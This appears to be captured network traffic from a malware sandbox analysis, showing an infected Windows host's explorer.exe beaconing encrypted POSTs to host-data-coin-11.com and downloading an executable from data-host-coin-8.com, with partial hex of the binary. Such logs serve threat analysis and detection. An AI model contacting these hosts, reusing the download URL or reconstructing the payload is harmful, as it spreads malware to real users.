Jan 14, 2022 04:59:50.670826912 CET	17259	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:50 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.3	49881	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:50.759860992 CET	17260	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wuqrydcob.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 343 Host: host-data-coin-11.com
Jan 14, 2022 04:59:50.759915113 CET	17260	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de b2 66 5d 02 c8 a1 c1 64 4c cc d7 24 Data Ascii: ?2~236hTkowmFu$f]dL$Wd+3.q~[m&@&(\3f!Y7&si51pvn1x2FlcR6"U:s\|i$K]ho"\|KOJ8KZD3]&PHT7n<VE
Jan 14, 2022 04:59:50.855405092 CET	17260	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:50 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.3	49882	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:50.951777935 CET	17261	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://khptceilp.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 301 Host: host-data-coin-11.com
Jan 14, 2022 04:59:50.951987028 CET	17262	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de b3 66 5d 02 c8 a1 c1 64 06 cd a2 36 Data Ascii: ?2~236hTkowmFu$f]d6]X*#E^z;ViBhf]2$(@M)TM.hD(SxYg'5<Gn1Xs3{PGLO.!n9~n]ZrdRC<2'LpW!
Jan 14, 2022 04:59:51.034878969 CET	17262	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.3	49883	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:51.122034073 CET	17263	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://teeekh.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 320 Host: host-data-coin-11.com
Jan 14, 2022 04:59:51.122056961 CET	17264	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de b0 66 5d 02 c8 a1 c1 64 56 90 a6 29 Data Ascii: ?2~236hTkowmFu$f]dV)Zg`6bS'F!kg;L\|JcVaCbvp1IY75uA_T,)l] _/-t8r?H5INa?bVnjJ$UuZopV
Jan 14, 2022 04:59:51.211380959 CET	17264	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 43 4e c7 3d c2 ec 66 b5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevCN=fdP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.3	49889	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:54.267643929 CET	20853	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rhggaprrm.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 320 Host: host-data-coin-11.com
Jan 14, 2022 04:59:54.267664909 CET	20853	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 84 de b0 66 5d 02 c9 a1 c1 64 5a 9d c9 32 Data Ascii: ?2~236hTkowmFu$f]dZ2NbN]fqxoWvY/7Ey93X`$-*)&r?bL{6BJPm\j~pa`l7:cQz'7yXVaGW`17.WrI:
Jan 14, 2022 04:59:54.349613905 CET	20854	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.3	49890	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:54.433096886 CET	20855	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rrvxdibqv.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 355 Host: host-data-coin-11.com
Jan 14, 2022 04:59:54.434848070 CET	20855	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de b1 66 5d 02 c8 a1 c1 64 56 ae bd 20 Data Ascii: ?2~236hTkowmFu$f]dV =z ~DEMvgtl%6<pE[c8f{TpV)W&yXd7PxRuY0d q4.G>[<=HU^/:8+wvV;VZ
Jan 14, 2022 04:59:54.518030882 CET	20856	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 48 e5 af 8d 70 bc 57 dd 40 d6 f6 2e 84 2a e8 c3 90 53 2e ef a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9HpW@.*S.c0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49748	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:58:58.499056101 CET	1113	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fggjhikg.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 360 Host: host-data-coin-11.com
Jan 14, 2022 04:58:58.499113083 CET	1113	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 9e 66 5d 02 c8 a1 c1 64 2a bc ad 1c Data Ascii: ?2~236hTkowmFu$f]d*TA5w\|kRE~}B%/r!bY\|R2]o0<uvMU-$#v S4z'L ibx=2G9XY}$dUTAd19oX3
Jan 14, 2022 04:58:58.584256887 CET	1114	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:58:58 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.3	49891	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:54.911113024 CET	20857	OUT	GET /files/6961_1642089187_2359.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: data-host-coin-8.com
Jan 14, 2022 04:59:54.975795984 CET	20858	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:54 GMT Content-Type: application/x-msdos-program Content-Length: 905216 Connection: close Last-Modified: Thu, 13 Jan 2022 15:53:07 GMT ETag: "dd000-5d578aeb4049d" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8b cf 9c fb cf ae f2 a8 cf ae f2 a8 cf ae f2 a8 d1 fc 67 a8 d3 ae f2 a8 d1 fc 71 a8 49 ae f2 a8 d1 fc 76 a8 e1 ae f2 a8 e8 68 89 a8 cc ae f2 a8 cf ae f3 a8 45 ae f2 a8 d1 fc 78 a8 ce ae f2 a8 d1 fc 66 a8 ce ae f2 a8 d1 fc 63 a8 ce ae f2 a8 52 69 63 68 cf ae f2 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 cf 5b b6 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 20 01 00 00 32 0d 00 00 00 00 00 00 30 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 7c 02 00 04 00 00 e4 71 0e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 66 01 00 28 00 00 00 00 70 0d 00 20 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 31 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 1e 01 00 00 10 00 00 00 20 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 22 3f 00 00 00 30 01 00 00 40 00 00 00 24 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 fe 0b 00 00 70 01 00 00 9e 0b 00 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 dd 6e 02 00 70 0d 00 00 ce 00 00 00 02 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c7 01 00 32 41 00 e9 09 11 00 00 56 8b f1 c7 06 00 32 41 00 e8 fb 10 00 00 f6 44 24 08 01 74 07 56 e8 88 14 00 00 59 8b c6 5e c2 04 00 55 8b ec ff 75 14 ff 75 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$gqIvhExfcRichPEL[_ 200@P\|qXf(p 1@Y@0.text `.rdata"?0@$@@.data8pd@.rsrc np@@2AV2AD$tVY^Uuu
Jan 14, 2022 04:59:54.975855112 CET	20860	IN	Data Raw: 10 ff 75 0c ff 75 08 e8 a0 15 00 00 8b 45 08 83 c4 10 5d c3 55 8b ec ff 75 14 ff 75 10 ff 75 0c ff 75 08 e8 7c 0f 00 00 8b 45 08 83 c4 10 5d c3 81 00 03 35 ef c6 c3 01 08 c3 55 8b ec 83 ec 44 8b 45 08 8b 08 8b 40 04 53 56 57 33 ff 81 3d d4 48 4d Data Ascii: uuE]Uuuuu\|E]5UDE@SVW3=HMMEuW@0AWWWWWW0AWWWW\|0AAEAEE}]=HMuWWWd0A AE$AEE EEu=HMuEPWEPW
Jan 14, 2022 04:59:54.975894928 CET	20861	IN	Data Raw: ec 1c 83 3d d4 48 4d 00 0c 75 57 68 fc 58 41 00 33 f6 56 56 ff 15 18 30 41 00 56 56 56 56 ff 15 04 30 41 00 68 2c 59 41 00 8d 4d d8 e8 5b 00 00 00 56 89 75 fc e8 8b 16 00 00 56 e8 4c 12 00 00 56 56 56 e8 30 15 00 00 56 e8 2c 0e 00 00 56 e8 04 0d Data Ascii: =HMuWhXA3VV0AVVVV0Ah,YAM[VuVLVVV0V,VV TAHM;-HM9M3dVjFJt$^jjjjUESVW}9GswE+9usu;uj
Jan 14, 2022 04:59:54.975934029 CET	20862	IN	Data Raw: f0 57 39 5e 14 73 05 e8 4d 04 00 00 8b 7e 14 2b fb 39 7d 0c 73 03 8b 7d 0c 8b 45 08 3b c6 75 15 6a ff 03 fb 8b f0 e8 e5 00 00 00 53 33 ff e8 dd 00 00 00 eb 40 e8 44 00 00 00 84 c0 74 37 83 7e 18 08 72 05 8b 46 04 eb 03 8d 46 04 8b 75 08 8b 56 18 Data Ascii: W9^sM~+9}s}E;ujS3@Dt7~rFFuVrNNXPRQ[9E_^]VvF;svWVu!~rv3f3;^UMw3QrY3seEP
Jan 14, 2022 04:59:54.975972891 CET	20864	IN	Data Raw: 33 ff 3b c7 74 47 39 7d 08 75 1b e8 81 1a 00 00 6a 16 5e 89 30 57 57 57 57 57 e8 0a 1a 00 00 83 c4 14 8b c6 eb 29 39 7d 10 74 e0 39 45 0c 73 0e e8 5c 1a 00 00 6a 22 59 89 08 8b f1 eb d7 50 ff 75 10 ff 75 08 e8 43 15 00 00 83 c4 0c 33 c0 5f 5e 5d Data Ascii: 3;tG9}uj^0WWWWW)9}t9Es\j"YPuuC3_^]``X2AUS]VWX2At&PFVxYYGt3VP<gG_^[]UMX2A`H]US]VX2ACFCWt
Jan 14, 2022 04:59:54.976011992 CET	20865	IN	Data Raw: 7e c0 66 0f 54 05 c0 32 41 00 66 0f fa d0 66 0f d3 ca a9 00 08 00 00 75 4c 3d ff 03 00 00 7c 7d 66 0f f3 ca 3d 32 04 00 00 7f 0b 66 0f d6 4c 24 04 dd 44 24 04 c3 66 0f 2e ff 7b 24 ba ed 03 00 00 83 ec 10 89 54 24 0c 8b d4 83 c2 14 89 54 24 08 89 Data Ascii: ~fT2AffuL=\|}f=2fL$D$f.{$T$T$T$$/BD$~D$ff(f=\|!=2fT2A\fL$D$f2AfV2AfT2Af\$D$UVuW3;u3e9}uuj^0WWWWW
Jan 14, 2022 04:59:54.976051092 CET	20867	IN	Data Raw: 2a 00 00 59 59 c3 8b ff 55 8b ec 56 8b 75 08 8b 46 0c a8 83 75 10 e8 02 10 00 00 c7 00 16 00 00 00 83 c8 ff eb 67 83 e0 ef 83 7d 10 01 89 46 0c 75 0e 56 e8 cf fb ff ff 01 45 0c 83 65 10 00 59 56 e8 e9 51 00 00 8b 46 0c 59 84 c0 79 08 83 e0 fc 89 Data Ascii: *YYUVuFug}FuVEeYVQFYyFttuFuuVHYP(G3I^]jh_AQ339u;unVVVVV>};ttuu0)YuWuu
Jan 14, 2022 04:59:54.976090908 CET	20868	IN	Data Raw: cf e5 ff ff 89 45 e0 39 75 e4 75 06 50 e8 59 1e 00 00 e8 80 1e 00 00 89 7d fc eb 35 8b 45 ec 8b 08 8b 09 89 4d dc 50 51 e8 94 58 00 00 59 59 c3 8b 65 e8 8b 45 dc 89 45 e0 83 7d e4 00 75 06 50 e8 3c 1e 00 00 e8 5c 1e 00 00 c7 45 fc fe ff ff ff 8b Data Ascii: E9uuPY}5EMPQXYYeEE}uP<\EE3@eE^xL$t$tNu$$~3tAt2t$ttAL$+AL$
Jan 14, 2022 04:59:54.976130962 CET	20869	IN	Data Raw: 00 8b c8 8b 45 e8 64 a3 00 00 00 00 8b c1 c9 c3 3b 0d 70 76 41 00 75 02 f3 c3 e9 82 67 00 00 50 64 ff 35 00 00 00 00 8d 44 24 0c 2b 64 24 0c 53 56 57 89 28 8b e8 a1 70 76 41 00 33 c5 50 ff 75 fc c7 45 fc ff ff ff ff 8d 45 f4 64 a3 00 00 00 00 c3 Data Ascii: Ed;pvAugPd5D$+d$SVW(pvA3PuEEdPd5D$+d$SVW(pvA3PeuEEdMdY__^[]QUWVuM};v;r=]MtWV;^_u^_]Bhu
Jan 14, 2022 04:59:54.976169109 CET	20871	IN	Data Raw: e8 d1 fa ff ff c9 c3 8b ff 55 8b ec ff 35 64 0d 4d 00 e8 82 3a 00 00 59 85 c0 74 03 5d ff e0 6a 02 e8 b1 64 00 00 59 5d e9 b2 fe ff ff 8b ff 55 8b ec 8b 45 08 33 c9 3b 04 cd a0 70 41 00 74 13 41 83 f9 2d 72 f1 8d 48 ed 83 f9 11 77 0e 6a 0d 58 5d Data Ascii: U5dM:Yt]jdY]UE3;pAtA-rHwjX]pA]DjY;#];urA;urAUVMQY0^]UMS3VW;t};wj^0SSSSS#0u;u
Jan 14, 2022 04:59:55.032633066 CET	20872	IN	Data Raw: 1c 8d 4a e0 d3 eb 8d 4c 02 04 f7 d3 21 9c b8 c4 00 00 00 fe 09 75 06 8b 4d 08 21 59 04 8b 5d 0c 8b 53 08 8b 5b 04 8b 4d fc 03 4d f4 89 5a 04 8b 55 0c 8b 5a 04 8b 52 08 89 53 08 89 4d fc 8b d1 c1 fa 04 4a 83 fa 3f 76 03 6a 3f 5a 8b 5d f8 83 e3 01 Data Ascii: JL!uM!Y]S[MMZUZRSMJ?vj?Z]]+u]j?uK^;vMJM;v;t^Mq;qu; s!tDLu!M!1K!LuM!qMqINMqINu]}u

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.3	49893	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:56.751069069 CET	21799	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hcsfipgmy.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 336 Host: host-data-coin-11.com
Jan 14, 2022 04:59:56.751095057 CET	21799	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 84 de b1 66 5d 02 c9 a1 c1 64 58 9f ce 2b Data Ascii: ?2~236hTkowmFu$f]dX+AH 9S\NViQ0kv{CXf-,;Q__7T`q;''X?94E0\|.AH#l{=V:0}LZ/zYKJm!jYe/ r$Fh'\|4
